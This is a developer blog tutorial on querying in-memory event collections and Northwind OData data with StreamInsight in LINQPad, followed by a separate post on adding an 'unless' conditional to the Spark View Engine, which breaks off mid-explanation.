Step 5: Write a simple query and test it
At this point, we have a connection to the default StreamInsight context. Make sure to flip the query’s Language value C# Statements and the Database to StreamInsight: Default Context.
This default context doesn’t have an input data source, so we can create a simple collection of point events to turn into a stream for processing. Our first query retrieves all events where the Count is greater than four.
//define event collection var source = new[] { PointEvent.CreateInsert(new DateTime(2010, 12, 1), new { ID = "ABC", Type="Customer", Count=4 }), PointEvent.CreateInsert(new DateTime(2010, 12, 2), new { ID = "DEF", Type="Customer", Count=9 }), PointEvent.CreateInsert(new DateTime(2010, 12, 3), new { ID = "GHI", Type="Partner", Count=5 }) }; //convert to stream var input = source.ToStream(Application,AdvanceTimeSettings.IncreasingStartTime); var largeCount = from i in input where i.Count > 4 select i; //emit results to LINQPad largeCount.Dump();
That query results in the output below. Notice that only two of the records are emitted.
To flex a bit more StreamInsight capability, I’ve created another query that creates a snapshot window over the three events (switched to the same day so as to have all point events in a single snapshot) and sum up the Count value per Type.
var source = new[] { PointEvent.CreateInsert(new DateTime(2010, 12, 1), new { ID = "ABC", Type="Customer", Count=4 }), PointEvent.CreateInsert(new DateTime(2010, 12, 1), new { ID = "DEF", Type="Customer", Count=9 }), PointEvent.CreateInsert(new DateTime(2010, 12, 1), new { ID = "GHI", Type="Partner", Count=5 }) }; var input = source.ToStream(Application,AdvanceTimeSettings.IncreasingStartTime); var custSum = from i in input group i by i.Type into TypeGroups from window in TypeGroups.SnapshotWindow(SnapshotWindowOutputPolicy.Clip) select new { Type = TypeGroups.Key, TypeSum = window.Sum(e => e.Count) }; custSum.Dump();
This query also results in two messages but notice that the new TypeSum value is an aggregation of all events with a matching Type.
In five steps (and hopefully about 8 minutes of your time), we got all the local components we needed and successfully tested a couple StreamInsight queries.
I could end with that, but hey, let’s try something more interesting. What if we want to use an existing OData source and run a query over that? Here are three additional bonus steps that let us flex LINQPad and StreamInsight a bit further.
Bonus Step #6: Create OData connection to Northwind items
Click the Add connection button in LINQPad and choose the WCF Data Services (OData) driver. Select OData as the provider, and put the Northwind OData feed () in the URI box and click OK. In LINQPad you’ll see all the entities that the Northwind OData feed exposes.
Let’s now execute a very simple query. This query looks through all Employee records and emits the employee ID, hire date and country for each employee.
var emps = from e in Employees orderby e.HireDate ascending select new { HireDate = (DateTime)e.HireDate, EmpId = e.EmployeeID, Country = e.Country }; emps.Dump();
The output of this service looks like this:
Bonus Step #7: Add ability to do StreamInsight queries over Northwind data
What if we want to look at employee hires by country over a specific window of time? We could do this doing a straight LINQ query, but where’s the fun in that? In seriousness, you can imagine some interesting uses of real-time analytics of employee data, but I’m not focusing on that here.
LINQPad only allows one data context at a time, so in order to use both the OData feed AND StreamInsight queries, we have to do a bit of a workaround. The spectacular Mark Simms has written an in depth post explaining this. I’ll do the short version here.
Right-click the LINQPad query tab that has the OData query and choose Query Properties. We need to add additional references to the StreamInsight dlls. Click Add on the Additional References tab and find/select the Microsoft.ComplexEventProcessing.dll and Microsoft.ComplexEventProcessing.Observable.dll (if you can’t see them, make sure to check the Show GAC Assemblies box).
Switch over to the Additional Namespace Imports tab and hand-enter the namespaces we need for our query.
Now we’re ready to build a query that leverages StreamInsight LINQ constructs against the OData source.
Bonus Step #8: Write StreamInsight query against Northwind data
I went ahead and “cloned” the previous query to start fresh but still copy the references and imports that we previously defined.
Below the previous query, I instantiated a StreamInsight “server” object to host our query. Then I defined a StreamInsight application that contains the query. Next up, I converted the OData results into a CEP stream. After that, I created a StreamInsight query that leverages a Tumbling Window that emits a count of hires by country for each 60 day window. Finally, I spit out the results to LINQPad.
var emps = from e in Employees orderby e.HireDate ascending select new { HireDate = (DateTime)e.HireDate, EmpId = e.EmployeeID, Country = e.Country }; //define StreamInsight server using (Server siServer = Server.Create("RSEROTERv2")) { //create StreamInsight app Application empApp = siServer.CreateApplication("demo"); //map odata query to the StreamInsight input stream var empStream = emps.ToPointStream(empApp, s => PointEvent.CreateInsert(s.HireDate, s), AdvanceTimeSettings.IncreasingStartTime); var counts = from f in empStream group f by f.Country into CountryGroup from win in CountryGroup.TumblingWindow(TimeSpan.FromDays(60), HoppingWindowOutputPolicy.ClipToWindowEnd) select new { EmpCountry = CountryGroup.Key, Count = win.Count() }; //turn results into enumerable var sink = from g in counts.ToPointEnumerable() where g.EventKind == EventKind.Insert select new { WinStart = g.StartTime, Country = g.Payload.EmpCountry, Count = g.Payload.Count}; sink.Dump(); }
The output of the query looks like the image below.
Conclusion
There you have it. You can probably perform the first five steps in under 10 minutes, and these bonus steps in another 5 minutes. That’s a pretty fast, and low investment, way to get a taste for a powerful product.
Categories: StreamInsight
Thanks Richard!
I’ve been struggling to wrap my mind around si (and rx) and this is a great help!
Tom | https://seroter.wordpress.com/2010/12/23/5-quick-steps-for-trying-out-streaminsight-with-linqpad/ | CC-MAIN-2016-18 | refinedweb | 1,392 | 67.04 |
During yesterday’s MSDN Mid-Atlantic Roadshow stop in Baltimore, MD, a question came up about how one moves from a prototype built in SketchFlow to the final application.
My answer, that you could repurpose some of the parts of a SketchFlow prototype, was not as complete as I’d have liked. So I did a little experimenting this morning and confirmed that you can take a SketchFlow screen essentially* as-is and bring it into a Silverlight 3 project and use it for building the final version of the application. SketchFlow screens are implemented as a Silverlight UserControl class, and all of the UI elements are just XAML.
I also updated the completed version of my Silverlight 3 / Expression Blend 3 demo project to include an example of a hand-drawn sketch repurposed from a SketchFlow screen. You can download the updated version of the demo, along with my slide deck, here.
So in addition to the advantages of rapid prototyping and super-simple communication and collaboration between the design team and project stakeholders, the ability to easily repurpose content created as part of a SketchFlow prototype is a compelling reason to take a look at this cool tool.
* – I say “essentially” because I did find one little issue with just grabbing the .xaml and codebehind files, which is that you will need to modify the x:Class attribute on the UserControl element to match the namespace of the target project when you copy it into the target project. Otherwise you will get a compilation error when you try to build the project, "InitializeComponent is not declared" If you see that error, check your namespace…it’s often the cause of this error.
I only post this because I know folks will misunderstand the purpose of Sketchflow and take it to a difficult and often unworkable conclusion.
The purpose of Sketchflow is to allow you to make a number of very low investment prototypes to try out ideas. You don't want to think about structure or proper refactoring, or even naming during prototyping. It's all about working out the details with the users.
You can move the prototype forward about as far as you want, given the flexibility of the tool. That means you can start with black and white wireframes, and if needed, later add some design assets for branding or to try out key ideas.
However, when it comes to to create a real application, you'll want to start a new project from scratch. You may be able to repurpose some of the sketchflow design assets (they are xaml after all), but you'll want to be very careful about what you move over. The prototype may not show a liquid layout, for example, and you need that. That means different sizing and different panels. The prototype probably didn't think about reuse and proper control encapsulation, so you'll want to change that. And certainly the prototype didn't incorporate ViewModel and similar patterns.
So repurpose all you want, as long as the prototyping phase isn't taking on a burden. If you find yourself annoyed about the project structure of the prototype, or names of screens or other details, you're investing way too much dev stuff into the prototype.
This is not a deficiency in the product, this is how it's intended to function.
Pete
Pete,
I could not agree more with your assessment, and appreciate you chiming in, since you're definitely a strong voice of experience in this area.
I hope that I did not come across as suggesting that folks should use a SketchFlow prototype in its entirety as the basis for a production application. That certainly wasn't my intent, nor would that be a very good idea...in fact, it would be a pretty bad idea for most apps.
Whether or not a particular asset or set of assets is a good candidate for reuse in the final application will depend a lot on how the prototype itself is put together, as well as a number of other factors. But it is nonetheless pretty cool, IMO, that it's even possible to have this level of reuse possible, rather than the surety of throwing away everything from the prototype stage.
It's up to the user to make wise use of this ability, as with any tool. | http://blogs.msdn.com/b/gduthie/archive/2009/08/20/from-sketchflow-to-production.aspx | CC-MAIN-2014-52 | refinedweb | 732 | 57.5 |
CSP Session Management
HTTP is a stateless protocol; every request has no knowledge of previous requests. While this works well for web sites that provide users with simple static content, it makes it difficult to develop interactive, dynamic web applications. To help with this, CSP provides what is called session management.
Sessions with CSP.Session
A session represents a series of requests from a particular client to a particular application over a certain period of time.
CSP provides session tracking automatically; you do not have to do anything special to enable it. CSP applications can inquire and modify aspects of their session by means of the %CSP.Session object. The CSP server makes this object available via the ObjectScript %session variable. For information on sharing authentication sessions or data among applications, see Authentication Sharing Strategies
Session Creation
A session starts when an HTTP client makes its first request to a CSP application.
When a new session is created, the CSP server does the following:
Creates a new session ID number.
Performs licensing checks, as appropriate.
Creates a new instance of the %CSP.Session object (which is persistent).
Invokes the OnStartSession method of the current session event class (if present).
Creates a session-cookie in order to track subsequent requests from the HTTP client during the course of the session. If the client browser has disabled cookies, CSP automatically uses URL rewriting (placing a special value into every URL) in order to track sessions.
For the first request of a session, the NewSession property of the %CSP.Session object is set to 1. For all subsequent requests it is set to 0:
If (%session.NewSession = 1) { // this is a new session }
Session ID
A CSP application can find its particular session ID via the SessionId property of the %CSP.Session object:
Write "Session ID is: ", %session.SessionId
Session Termination and Cleanup
A session ends for one of the following reasons. (For more information on logging out see the section “Logout or End Session” in this book.)
The session times out because it did not receive any requests within the specified session timeout period..
The session is explicitly ended programmatically on the server (by setting the %CSP.Session object's EndSession property to 1. For example, you may wish to end a session if the client is stopped or navigates to a new site.
The session can be logged out using the %CSP.Session object's Logout method
When a session ends, the CSP server deletes the persistent %CSP.Session object and decrements the session license count, if appropriate. If the session ended because of a timeout or server action, it also invokes the OnEndSession method of the session event class (if it is present).
Certain Zen components, notably tablePane, store temporary data in ^CacheTemp.zenData, and this is typically cleaned up automatically by the default Event Class. However, if you define your own custom event class, you must explicitly call %ZEN.Controller.OnEndSession() in the OnEndSession() callback method in your event class. Otherwise the temp data is not cleaned up.
Reserved CSP Parameters
The table shows reserved parameters and their uses.
%CSP.Session Object
The %CSP.Session object contains information about the current session as well as a way to control aspects of the session programmatically.
User Session Data — Data Property
You can store application-specific information within the %CSP.Session object using its Data property. Data is a multidimensional array property that lets you associate specific pieces of information in a multidimensional array. The contents of this array are automatically maintained over the lifetime of the session.
You can use the %CSP.Session object Data property in the same way you would use any other ObjectScript multidimensional array.
For example, if the following code is executed within an OnPage method:
Set %session.Data("MyData") = 22
Then a subsequent request to the same session (regardless of which class handles the request) sees this value within the %CSP.Session object:
Write $Get(%session.Data("MyData")) // this should print 22
The ability to store application-specific data within the %CSP.Session is a very powerful feature but should be used correctly. Refer to the section “State Management” for a further discussion.
Setting User Session Data — Set Command
To store data (only literal data — not object references) in the %CSP.Session object, use the Set command. Every node within the Data array can contain a string of up to 32K characters.
Set %session.Data("MyData") = "hello" Set %session.Data("MyData",1) = 42
Retrieving User Session Data — Write Command
You can retrieve data from the Data property as part of an ObjectScript expression:
Write %session.Data("MyData") Write %session.Data("MyData",1) * 5
If you refer to a node of the Data array that has no value, there is an <UNDEFINED> (undefined) error at runtime. To avoid this, use the ObjectScript $Get function:
Write $Get(%session.Data(1,1,1)) // return a value or ""
Deleting User Session Data — Kill Command
To remove data from the Data property, use the ObjectScript Kill command:
Kill %session.Data("MyData")
Session Timeout
CSP sessions automatically track how much time has elapsed since they have received a request from a client. If this elapsed time exceeds a certain threshold then the session automatically times out.
By default, the session timeout is set to 900 seconds (15 minutes). You can change this default for a CSP application in the Management Portal. Navigate to System Administration > Security > Applications > Web Applications. Select the application and click Edit. You can also set it from within an application by setting the value of the %CSP.Session object AppTimeout property:
Set %session.AppTimeout = 3600 // set timeout to 1 hour
To disable session timeouts, set the timeout value to 0.
Note that if a session changes CSP applications during its life span, its timeout value will not be updated according to the default timeout defined in the application that the session moved into. For example, if a session starts out in CSP Application A, with a default timeout of 900 seconds, and then moves into CSP Application B, which has a default timeout of 1800 seconds, the session will still timeout after 900 seconds.
If you want an application change to result in the session timeout being updated to that of the new application, use a session event class, override the OnApplicationChange callback method, and add code to handle the update of the AppTimeout property of the %session object.
Timeout Notification — OnTimeout Method
When a CSP application timeout occurs, the CSP server can notify the application by invoking the OnTimeout method of a specified %CSP.SessionEvents class. You can specify the name of this class via the EventClass property of the %CSP.Session object.
By default, there is no event class defined and a timeout simply ends the current session.
State Management
As HTTP is a stateless protocol. Applications written for the web have to use special techniques to manage the application context or state. CSP provides a number of mechanisms for state management. Each of these may be appropriate for specific circumstances.
Tracking Data between Requests
The basic problem of state management within a web application is keeping track of information between successive HTTP requests. There are a number of techniques available for this including:
Storing data on individual pages using either hidden form fields or URL parameters
Storing data in cookies on the client
Storing data in the %CSP.Session object on the server
Storing data within the Caché database
Storing Data within a Page
To store state information within a page, you must place it so that a subsequent request from this page includes the information.
If the page makes a request via a hyperlink, then the data should be placed within the URL for the hyperlink. For example, here is a hyperlink containing state information defined within a .csp file:
<a href="page2.csp?DATA=#(data)#">Page 2</A>
When the CSP serves the page containing this link, the expression #(data)# is replaced with the value of the server variable data in the text sent to the client. When the user selects this link to page2.csp, the CSP server has access to the value of DATA via the %request object. If needed, CSP can encode such data. Refer to “Authentication and Encryption” for more details.
If the page contains a form, you can place state information within hidden fields:
<form> <input type="HIDDEN" name="DATA" value="#(data)#"> <input type="SUBMIT"> </form>
As with the hyperlink example, when this form is sent to the client, the expression #(data)# is replaced with the value of the variable data. When the user submits this form, the value of DATA is available via the %request object.
To automatically insert values into all links and forms, use %response.Context.
Storing Data in the Session — Data Property
As discussed in an earlier section, you can store state information in the session %CSP.Session object using its Data property. Any information placed into the %session object is available for the remainder of the current session (or until it is removed from the %session object).
The %session object is a good place to store simple information that is useful across the duration of a session, such as the current user's name. The %session object is not good for information that must live beyond the scope of the current session. It is also not a good place for information that is dependent on the navigation path taken by the user through the application. Users are typically free to jump about web applications at will and this can lead to trouble if an application makes assumptions about the specific path taken by a user.
Storing Data in the Database
If you have more complex information to associate with a user, it is probably best to store it within the built-in Caché database. One way to do this is to define one or more persistent classes within the database and store their object ID values within the %session object for subsequent access.
Server Context Preservation — Preserve Property
Typically the only processing context preserved by the CSP server from one request to the next is held within the %session object. The CSP server provides a mechanism for preserving the entire processing context variables, instantiated objects, database locks, open devices between requests. This is referred to as context preserving mode. You can turn context preservation on or off within a CSP application at any time by setting the value of the %CSP.Session object Preserve property. Note that tying a process to one session results in a lack of scalability.
Authentication and Encryption
It is fairly common to place state information on pages sent to the HTTP client. When subsequent requests are made from these pages, the state information is sent back to the server. Many times, it is important that state information be placed on a web page in such a way that a) viewers of the HTTP source cannot determine the value of the state information and that, b) the server can verify that the returning information was, in fact, send out from the same server and session. Via its encryption services, CSP provides an easy-to-use mechanism to accomplish this.
Session Key
CSP can encrypt and decrypt data on the server using an encryption key. Every CSP session has a unique session key (accessible via the %CSP.Session object Key property) that is used to encrypt data for a session. This mechanism is secure because the session key is never sent to an HTTP client; it remains on the CSP server as part of the %CSP.Session object.
You can manually encrypt values on the server using the Encrypt method of the %CSP.Page class. You can subsequently decrypt this value using the Decrypt method.
Encrypted URLs and CSPToken
In certain circumstances (described below) a class generated from a .csp file automatically encrypts URL values sent to the client (for manually created classes, you must invoke the Link method of the %CSP.Page class to perform this action).
For example, suppose a .csp file contains an anchor tag defining a link to another page:
<a href="page2.csp?PI=314159">Page 2</a>
If this URL is encrypted, the following may be sent to the client:
<a href="page2.csp?CSPToken=8762KJH987JLJ">Page 2</a>
When the user selects this link, the encrypted parameter CSPToken is sent to the CSP server. The server then decrypts it and place its decrypted contents into the %request object. If the encrypted value has been modified or sent from a different session then the server throws an error. You can use the %CSP.Request class IsEncrypted method to determine whether a parameter value was originally encrypted.
The CSP compiler automatically detects all the places where a URL can occur within an HTML document and performs encryption as needed (based on the class parameters of the target page as described in the following section). If you are creating a page programmatically you can get the same behavior using the Link method of the %CSP.Page class.
If you are passing a link as an argument to a function, always use the Link method of the %CSP.Page class, rather than the #url()# directive, as in the following example:
window.showModalDialog('#(..Link("locks.csp"))#','',windowFeatures);
This example of using #url()# as an argument to a function does not work:
window.showModalDialog('#url(locks.csp)#','',windowFeatures);
If you need to provide an encrypted URL within a .csp file in a place that is not detected by the CSP compiler, use the #url()# directive. For example, in a client-side JavaScript function, where the link is a parameter, you can use:
<script language=JavaScript> function NextPage() { // jump to next page CSPPage.document.location = '#url(nextpage.csp)#'; } </script>
Private Pages
CSP provides the notion of a private page. A private page can only be navigated to from another page within the same CSP session. Private pages are useful for applications where you want to restrict access to certain pages.
For example, suppose there is a private page called private.csp (one of the CSP sample pages). A user cannot navigate directly to private.csp (for example, by typing in its URL). A user can only navigate to private.csp from a link contained within another CSP page. The link contained in the referring CSP page cannot be an absolute URL, starting with http://. Only paths relative to the referring page are properly encrypted/tokenized by the private pages method. That is: The first two links below pass the same token to the target private page, test2.csp.
<A HREF='test2.csp'>Link to private page - relative path</A> <BR> <A HREF='/csp/samples/test2.csp'> Link to private page - full application path</A> <BR>
This link is hashed differently and fails access.
<A HREF=''> Link to private page - absolute path</A>
The user also cannot bookmark a private page for later use because the encrypted token used to protect the private page is only valid for the current session.
Private pages work as follows. The %CSP.Page subclass responsible for the page has its class parameter PRIVATE set to 1. A URL requesting this page must contain a valid, encrypted CSPToken value in its query string. Any links to this page processed by CSP automatically have an encrypted CSPToken value.
Encoded URL Parameters
In a manner similar to private pages, you can specify that the URL parameters of a CSP page are to be encoded by setting the value of the %CSP.Page class parameter ENCODED. ENCODED can be set to 0, 1, or 2. Any links to a page whose ENCODED class parameter is 1 or 2 automatically have any URL parameters encoded within the encrypted CSPToken value. If ENCODED is set to 2, then values must be encoded; if 1, it is possible to mix encoded and unencoded values.
The three settings for ENCRYPTED.
Note that because ENCODED=2 removes unencrypted parameters from the url it can disable components such as the Zen <form> element.
Example of ENCODED=2
For example, suppose you have two .csp pages. One page (list.csp) displays a list of bank accounts as hyper-links and a second page (account.csp) displays information about a specific account. account.csp expects a URL parameter named ACCOUNTID to determine which account to display. We do not want to publish account numbers on the client and we do not want unauthorized access to account.csp or the ability to display any other account number. We can do this by setting the account.csp ENCODED parameter to 2. Here are the relevant .csp files:
Source for list.csp
<html> <body> Select an account:<br> <a href="account.csp?ACCOUNTID=100">Checking</a> <a href="account.csp?ACCOUNTID=105">Saving</a> </body> </html>
Source for account.csp
<html> <csp:class private=1 encoded=2> <body> Account Balance: <b>$#(..GetBalance())#</b> </body> <script language="Cache" method="GetBalance" arguments="" returntype="%Integer"> // server-side method to lookup account balance New id Set id = $Get(%request.Data("ACCOUNTID",1)) If (id = 100) { Quit 157 } ElseIf (id = 105) { Quit 11987 } Quit 0 </script> </html>
The CSP server sends the following HTML to the client when list.csp is requested:
<html> <body> Select an account:<br> <a href="account.csp?CSPToken=fSVnWw0jKIs">Checking</a> <a href="account.csp?CSPToken=1tLL6NKgysXi">Saving</a> </body> </html>
Notice that only the encrypted values for ACCOUNTID are sent to the client.
When account.csp is processed, it sees the decrypted value for ACCOUNTID (referenced in its GetBalance method).
Example of ENCODED=1
The difference between ENCODED=2 and ENCODED=1 is that with a ENCODED=2, any text that is added to the URL in an unencrypted form is thrown away. If ENCODED=1 is used, then the unencrypted text is passed through to the page. The page can then include code that specifies what to do with this unencrypted text.
The samples pages protected.csp and protectedentry.csp show an example of using ENCODED=1. The source for protected.csp shows that it checks to see if anything has been added to the URL that is not encrypted. If there is anything that is not encrypted, the page displays a scrolling marquee that says HACKER ALERT!
To see this, go the samples page.
Double-click protectedentry.csp.
Enter 500 in the BALANCE: field
Click View Balance
The protected.csp page is displayed saying Your Account Balance is: 500
Notice that the URL contains an encrypted CSPToken (everything after CSPTaken=). This is the 500 that you entered encrypted.
Navigate to the end of this URL and enter &BALANCE=8000 and press Enter.
The protected.csp page is displayed. It accepted the unencrypted addition to the URL and acted on it by displaying the HACKER ALERT! marquee. If ENCODED had been set to 2, it would have ignored the unencrypted entry.
Authentication Sharing Strategies
This section describes how to create a set of applications to work as a group in two ways:
Sharing authentication: If applications do not share authentication, the user must log in to each application that is linked to by another application separately. Shared authentication allows the user to enter all linked applications with a single login.
Sharing data: The applications may want to share and to coordinate global state information.
This section describes the following:
Authentication Approaches
This section describes the following approaches to authentication. Options to implement them are found in the Management Portal by navigating to System Administration > Security > Applications > Web Applications.
One-Time Sharing: Login Cookies. All applications with the same id share authentication. This corresponds to the CSP Application option Login Cookies.
Continuous Sharing: Authentication Groups By ID or Session
By Session. This corresponds to two CSP Application options. The Session Cookie Path option makes applications with the same session-path-cookie share a session and its authentication. If the CSPSHARE option is set as CSPSHARE=1, then when the user clicks a link (in a source application) to a target application, then the target application is placed in the same session as the source application
One-Time Sharing: Login Cookies
Login Cookies hold information about the most recently logged-in user. If you want to keep your users from having to log in too often, but you want your applications to remain distinct and unconnected, use Login Cookies.
For Login Cookies, place each application in a separate session. Then authentication is shared only when an application is entered for the first time. Login Cookies applications do not form a group. So after login, changes in authentication in one application do not affect the other applications.
When a user logs in with a password, that authentication is saved in a cookie. If another application with Login Cookies enabled is entered (for the first time), it uses the authentication saved in the cookie. If the user jumps to a third application (for the first time) which does not have Login Cookies enabled, the user must enter a username/password.
See the section “Considerations in Choosing Your Strategy” for more information for deciding what strategy to use.
When deciding whether or not to use Login Cookies, here are some considerations:
The login cookie is updated to a new user whenever the user logs in with a password.
Login cookies are not generated for an unauthenticated login (as UnknownUser).
Login cookies are not generated when logging in through API calls.
Login cookie sessions are independent once that session has been authenticated. So logging out or timing out in one session does not affect the other sessions.
Authentication from a Login-Cookie application cannot be shared with a password-only (non-Login-Cookie) application. For authenticated applications in a group, for consistent behavior, use Login Cookies for all or for none.
Continuous Sharing: Authentication Groups By ID or By Session
With group sharing, the authentication of the group's applications moves as a unit. If a user in an application in a group logs in as a new user, all the applications move to that user. If one application logs out, they are all logged out.
Applications can be grouped together in two ways: By Session and By ID. By-Session groups share authentication and data. By-ID groups share authentication only.
Applications are run in CSP sessions. Each session has a security context associated with it. For more on CSP sessions, see the section About CSP Sessions in this book.
If several applications are placed in the same session, they share authentication. This is called a By-Session group (session-sharing). In addition, the session may contain user defined data. Applications can be made to share a session by having their Application Cookie Path match exactly or by using the CSPSHARE=1 flag when jumping via a link from one application to another.
Applications can be grouped by assigning the applications matching group identifiers. This is called a By-ID group. The group shares a security context. The applications are usually in separate sessions. The group does not manage user data, only authentication.
See the section “Considerations in Choosing Your Strategy” for more information.
By-Session Groups (Session-Sharing)
Sharing a session has potential issues. Session events are picked up only from the original CSP application. If the link goes to a page that requires different session events, then these session events do not run. Also, running a page in another CSP application with a different security context may require a login; the login might alter the security context of running pages in the original CSP application. Before choosing to use By-Session groups, please read Considerations in Choosing Your Strategy below.
When applications share a session, they share both authentication and data via the session object. There are two ways to share a session:
Session Cookie Path: All applications with exactly-matching session cookie paths are placed into the same session.
CSPSHARE: Putting CSPSHARE=1 in the link to the application page. Use this when the source application's Session Cookie Path is different from the target's Session Cookie Path.
If By-Session sharing is required, then the best solution is to name all applications so they can be given the same Session Cookie Path. You may have to rename your applications because the Session Cookie Path must be a substring of the application name.
If this cannot be done and session sharing is required, then you have to put the CSPSHARE parameter in links that jump from one application to another. The target application page is placed in the same session as the source application's pages. The source's session is determined either from the CSPCHD parameter or the session cookie.
See the section “Considerations in Choosing Your Strategy” for more information.
By-ID Groups
You can group your applications by navigating to System Administration > Security > Applications > Web Applications on the Management Portal and giving them a group name in the Group by Id field. This name groups opened applications together. Groups are in different sessions. The applications do not share data.
The group name is attached to an application, not a namespace. Applications with the same group name share authentication regardless of namespace.
Authentication is shared within a single browser only.
See the section “Considerations in Choosing Your Strategy” for more information.
Authentication Architecture
Security Context & Sticky Logins
Applications are run in sessions. A session requires a security context in which to run an application. The security context contains the authentication state.
By-Sessions and By-ID Groups have a sticky login which remembers the security context of the last application used in the session or group. If a user in a group application logs in as a different user, the sticky login is updated. (The sticky login is not updated if the user logs in to an unauthenticated application.)
When jumping to an application in a session, the session attempts to use the sticky login appropriate for the target application. If the sticky login does not match the session's current security context and the application can accept the authentication method in the sticky login, the session's security context is switched to that in the sticky context.
A session's sticky login is lost when the session is ended. The group's sticky login is lost when all the sessions containing any of the group's applications are ended.
After the initial login, a group has an associated sticky login object which it attempts to use when entering one of the group's applications. The sticky login is not updated when an application in the group is entered as UnknownUser as this would have the effect of moving all other applications in the group to the unauthenticated security context.
If the sticky login contains a two-factor authenticated user, that two-factor authentication is used for non-two-factor applications, so long as the username authentication matches in the two applications.
Cascading Authentication
The CSP Server uses precedence when attempting to obtain authentication information for an application. It attempts to get new authentication information in each of the following events:
For the first request to a new session;
When there is an application change within the session;
When the application is part of a By-id group and the session's current security context does not match that of the group's sticky context;
When the request contains a username/password pair.
It attempts to get new authentication information sequentially in the following order:
Explicit Login: Checks to see if the user entered an authenticated username/password. If they did, the system updates the application's authentication group's context. (This sets the group's Sticky Login.)
Sticky Login: Get the Application's group's sticky context. If no sticky login and group-by-session, use session's current context.
Login Cookie: Use if one exists and is enabled for this application.
Unauthenticated: Use Unknown User if enabled for application.
Put up Login Page: If all the above fail, then request username/password from user. If called from the %CSP.Session API, then only username/password is tried. After login, update the group's sticky login unless just logged in as UnknownUser.
Logout or End Session
Authentication is lost when a session is logged out or ended. You can use the following %CSP.Session methods to logout or end a session:.
If this CSP application requires authentication, there is no session and no authenticated user. In this case, Caché does not run the home page logic but displays the login page instead. When the user submits a valid login this starts this new session and then displays the home page.
This kills the session. The session's sticky context is destroyed. OnEndSession is called. If the session contains a By-Session group, then the group is destroyed. If the session contains a By-Id application, then that application is removed from the group which continues to exist unless this was the only application in the group. Login cookies are unaffected. By-Session groups lose their data. However, for By-Id groups, the sticky-login for the group is unaffected by a singular destruction and the other members of the group remain logged in.
In addition, for By-Session groups, the destruction disperses the members of the group and if the member applications are reentered, it cannot be guaranteed that they will be reintegrated into the same new session or (if they were grouped using CSPSHARE) sent to diverse sessions.
The session is logged out. Its sticky context is destroyed. If the session contains a by-session group, then all the applications in the group lose their authentication. If the session contains an application from a by-id group, then group loses its sticky context and all the applications in the group are logged out.
In addition, OnLogout is called. The login cookie is destroyed.
The session continues to exist, so data is retained for By-Session groups.
It is possible to log out all session currently authenticated as a particular user.
This zaps the login cookie.
The sessions continue to exist but have not authentication.
Considerations in Choosing Your Strategy
This section contains some points to consider when you are choosing your strategy. See the section “One Time Sharing: Login Cookies” for more information for deciding what strategy to use.
Considerations for Groups
This section contains some points to consider when you are creating authentication groups.
Use session-sharing only when you decide that data must be shared via the session object. By-ID and Login Cookies-sharing are more robust and predictable.
When creating groups, be as consistent as possible to create uniform behavior for your targeted users. Do not place an application in both a By-ID group and a By-Session group. Using the different authentication strategies may cause unexpected behavior. By-ID takes precedence over By-Session. So if an application has both, it stays synchronized By-ID.
Use the same authentication types for all members of the group. In particular, if some applications in the group allow Login Cookies and others do not, then entering the group via a username/password authenticates the entire group, whereas entering it via a login cookie authenticates only some of the applications. This can cause confusion among your users about why sometime a login is required and other times not.
The CSP server considers every application to be in an Authentication Group. A lone application in a session forms a single-entity By-Session authentication group.)
Try not to put unauthenticated-only applications in By-ID groups.
By-Session groups are fragile; using By-ID is a more robust approach. Since all the information about a group, including its shared data, is contained in a single session, the group can easily be lost. This is because a session can time-out, that is, after a specific amount of time the session is automatically destroyed. If the user steps away from his computer or uses an application which is not in the By-Session group, the session may timeout. If one of the applications in the group marks ENDSESSION=1, the group is dispersed.
If the browser has open tabs containing pages from the dispersed applications, clicking on them may require multiple logins, especially if they were originally grouped using CSPSHARE=1. In any case, the data from the original session is permanently gone.
When a group loses its authentication, refreshing or going to an open page from a group application requires that the user re-login.
Ending a session containing a By-Session application requires that the user re-login when refreshing any page of any application in that by-session group. Killing a session containing a By-ID application does not require any logins unless that session's application was the only member of the group.
Logging out a session logs out all members of the session's group, even if they are in different sessions. Refreshing any of the group's pages requires a new login. However, for By-ID groups, one login logs in the entire group. For By-Session groups, one login logs in the entire group as long the CSP Gateway is able to direct the dispersed applications back to a newly constructed session object.
Logging out does not destroy the session, so any session data continues to exist.
One cannot have same application logged in to two different users in different tabs of the same browser.
Authentication is shared within a single browser only. This runtime identifier is stored in the %Session object.
Grouping allows you to share authentication with users that are in the same group (By-ID) or the same session (By-Session). If you want to share authentication from applications that are outside your specified group, use Login Cookies. If you want to send authentication to applications outside your specified group, use CSPSHARE=1. (See the section “Considerations about CSPSHARE” in this book.)
Sharing Data
By-Session groups can share data via the session object.
By-ID groups must manage their own data. If the data is stored, for example, in a global, the data could be keyed using the current user, $Username, or by the group's runtime ID. The CSP Server assigns each browser a browser-id cookie. When a By-Id group is created it is assigned a key which is the browser ID concatenated with the group ID. This creates a unique key, %CSP.Session.BrowserId, which can be used as a key under which to store data. | https://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GCSP_SESSIONS | CC-MAIN-2021-04 | refinedweb | 5,767 | 56.35 |
Today I vowed to learn the Spark View Engine. While I don’t hate ASP.NET’s MVC WebForm View Engine, its clearly outclassed by the other MVC stacks. So, given my views (hahaha) on the matter and with a wonderful greenfield project in front of me, I figured I’d do the switch.
(I think some developers still don’t get the distinction between traditional ASP.NET WebForms and ASP.NET’s MVC WebForm View Engine. The latter is the default View Engine used for templates in ASP.NET MVC and its confusing name was likely picked because its similar to the former.)
Going through the documentation, I was pleased to see the inclusion of conditional attributes on standard HTML element. So, instead of writing:
<% if (CurrentUser != null) { %> <span id="loggedInUser">Hello <%=Html.Encode(CurrentUser.Name)%></span> <% } %>
I can simply write:
<span id="loggedInUser" if="CurrentUser != null">Hello ${CurrentUser.Name}</span> OR <if condition="CurrentUser != null"> Hello ${CurrentUser.Name} </if>
The next thing I noticed was the lack of
unless – a statement found in Ruby which some love, some hate, and many abuse. So, I figured I’d go ahead and try to implement support for it, if nothing else it’d be a great way to get more familiar with the inner workings of the framework. The minor changes required to implement this feature, and the fact that it took less than 10 minutes for someone with no familiarity with the code, is a testament to the readability and general quality of the codebase.
All my changes were made in the main Spark project.
unless is merely an inverted if, so my plan was to pinpoint the parsing and code generation around the Spark’s if attribute and if element and piggy-back on their implementation. The first part of my journey took me to the
ConditionalAttributeVisitor in the
Spark.Compiler.NodeVisitors namespace. I got here by doing a search for “if” (with the quotes). From the name, and the code, I figured that the purpose of this class was to determine whether an attribute was a conditional attribute, I simply added a check for “unless” to both the qualified and unqualified code paths:
